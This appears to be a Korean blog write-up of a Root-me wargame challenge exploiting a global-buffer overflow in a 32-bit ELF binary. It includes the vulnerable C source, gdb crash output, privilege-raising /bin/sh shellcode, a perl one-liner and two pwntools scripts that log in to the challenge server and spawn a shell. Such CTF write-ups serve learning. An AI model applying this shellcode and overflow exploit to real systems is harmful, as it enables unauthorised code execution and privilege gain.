1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <stdlib.h>
char username[512] = {1};
void (*_atexit)(int) = exit;
void cp_username(char *name, const char *arg)
{
while((*(name++) = *(arg++)));
*name = 0;
}
int main(int argc, char **argv)
{
if(argc != 2)
{
printf("[-] Usage : %s <username>\n", argv[0]);
exit(0);
}
cp_username(username, argv[1]);
printf("[+] Running program with username : %s\n", username);
_atexit(0);
return 0;
}
2.2. 분석
argv[1]을 받아 username 변수에 복사하고 이를 출력해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
cp_username 함수에서 argv에 의해 복사되는 길이가 결정되기에 name 변수의 크기를 넘어 overflow가 발생한다.
3.2. 공격 준비
솔직히 username 변수 크기가 512 byte 이길래 512 byte를 넣었더니 마지막 null 문자로 인해 segmentation fault가 뜨는 것을 확인할 수 있었고, 특별한 보호기법도 걸려있지 않았기에 nop + shellcode + nop + username address로 풀었다.
또한 512 byte 이상 넣으면 segmentation fault가 뜨는 것을 알고 있기 때문에 gdb로 username 주소를 쉽게 확인할 수 있었다.
gef➤ r `perl -e 'print "A"x516'`
Starting program: /challenge/app-systeme/ch7/ch7 `perl -e 'print "A"x516'`
[+] Running program with username : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x41414141 ("AAAA"?)
$ebx : 0x0804a000 → 0x08049f14 → <_DYNAMIC+0> add %eax, (%eax)
$ecx : 0x0
$edx : 0xb7fc4890 → 0x00000000
$esp : 0xbffff91c → 0x0804851f → <main+132> add $0x10, %esp
$ebp : 0xbffff938 → 0x00000000
$esi : 0xb7fc3000 → 0x001d7d8c
$edi : 0x0
$eip : 0x41414141 ("AAAA"?)
$eflags: [zero carry PARITY ADJUST SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033
──────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xbffff91c│+0x0000: 0x0804851f → <main+132> add $0x10, %esp ← $esp
0xbffff920│+0x0004: 0x00000000
0xbffff924│+0x0008: 0x0804a040 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbffff928│+0x000c: 0xbffff9f0 → 0xbffffd35 → "PYTHON_EGG_CACHE=/tmp/eggs-app-systeme-ch7"
0xbffff92c│+0x0010: 0x080484af → <main+20> add $0x1b51, %ebx
0xbffff930│+0x0014: 0xbffff950 → 0x00000002
0xbffff934│+0x0018: 0x00000000
0xbffff938│+0x001c: 0x00000000 ← $ebp
────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ch7", stopped 0x41414141 in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x41414141 in ?? ()
4. exploit
유의할 점은 그냥 /bin/sh 만 실행할 경우 권한을 가지고오지 못한다는 점이며, 이에 setreuid()와 같이 권한 설정이 shellcode에 포함되어있어야 한다.
이는 http://shell-storm.org/shellcode/files/shellcode-399.php 에서 찾았다.
pp-systeme-ch7@challenge02:~$ ./ch7 `perl -e 'print "\x90"x100,"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80","A"x(512-100-34),"\x40\xa0\x04\x08"'`
[+] Running program with username : ����������������������������������������������������������������������������������������������������j1X���jFX�
Rhn/shh//bi����AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@�
$ id
uid=1207(app-systeme-ch7-cracked) gid=1107(app-systeme-ch7) groups=1107(app-systeme-ch7),100(users)
$ cat .passwd
-------------- #플래그는 삭제
사실 이 문제의 목적은 전역변수로 변수가 선언되는 경우
변수의 초기값이 있는 경우 .data 영역에, 없는 경우 .bss 영역에 할당되는 것을 이해하라는 의미인 것 같다.
문제의 전역 변수는 1과 exit로 초기 값이 있기에 data 영역에 할당된 것을 알 수 있다.
app-systeme-ch7@challenge02:~$ objdump -h ch7
ch7: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 08048154 08048154 00000154 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 08048168 08048168 00000168 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.gnu.build-id 00000024 08048188 08048188 00000188 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .gnu.hash 00000024 080481ac 080481ac 000001ac 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .dynsym 00000060 080481d0 080481d0 000001d0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynstr 00000051 08048230 08048230 00000230 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .gnu.version 0000000c 08048282 08048282 00000282 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version_r 00000020 08048290 08048290 00000290 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .rel.dyn 00000010 080482b0 080482b0 000002b0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rel.plt 00000018 080482c0 080482c0 000002c0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .init 00000023 080482d8 080482d8 000002d8 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .plt 00000040 08048300 08048300 00000300 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt.got 00000008 08048340 08048340 00000340 2**3
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00000252 08048350 08048350 00000350 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 080485a4 080485a4 000005a4 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 0000004c 080485b8 080485b8 000005b8 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 0000004c 08048604 08048604 00000604 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 00000130 08048650 08048650 00000650 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000004 08049f0c 08049f0c 00000f0c 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000004 08049f10 08049f10 00000f10 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 000000e8 08049f14 08049f14 00000f14 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .got 00000004 08049ffc 08049ffc 00000ffc 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .got.plt 00000018 0804a000 0804a000 00001000 2**2
CONTENTS, ALLOC, LOAD, DATA
23 .data 00000224 0804a020 0804a020 00001020 2**5
CONTENTS, ALLOC, LOAD, DATA
24 .bss 00000004 0804a244 0804a244 00001244 2**0
ALLOC
25 .comment 00000029 00000000 00000000 00001244 2**0
CONTENTS, READONLY
ps. pwntool python coding으로 풀고 싶은데 뭐가 영 안된다... ㅠㅠ
2022.07.14 update
pwntool로 exploit
from pwn import *
import subprocess
shellcode=b'\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'
totlen = 512
pay = ['' for i in range(2)]
pay[0] = './ch7'
pay[1] = b''
pay[1] += b'\x90'*50
pay[1] += shellcode
pay[1] += b'\x90'*(totlen-len(pay[1]))
pay[1] += p32(0x0804a040)
s = ssh(user='app-systeme-ch7',host='challenge02.root-me.org',port=2222,password='app-systeme-ch7')
p = s.process(pay)
p.interactive()
또는
from pwn import *
import subprocess
shellcode=b'\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'
totlen = 512
pay = b''
pay += b'\x90'*50
pay += shellcode
pay += b'\x90'*(totlen-len(pay))
pay += p32(0x0804a040)
file = ['./ch7',pay]
s = ssh(user='app-systeme-ch7',host='challenge02.root-me.org',port=2222,password='app-systeme-ch7')
p = s.process(file)
p.interactive()
'Wargame > Root me' 카테고리의 다른 글
[App-System] ELF x64 - Double free (0) | 2022.07.09 |
---|---|
[App-System] ELF x64 - Stack buffer overflow - PIE (0) | 2022.07.09 |
[App-System] ELF x86 - Use After Free - basic (0) | 2022.07.08 |
[App-System] ELF x86 - Stack buffer overflow basic 3 (0) | 2022.07.07 |
[App-System] ELF x86 - Race condition (0) | 2022.07.07 |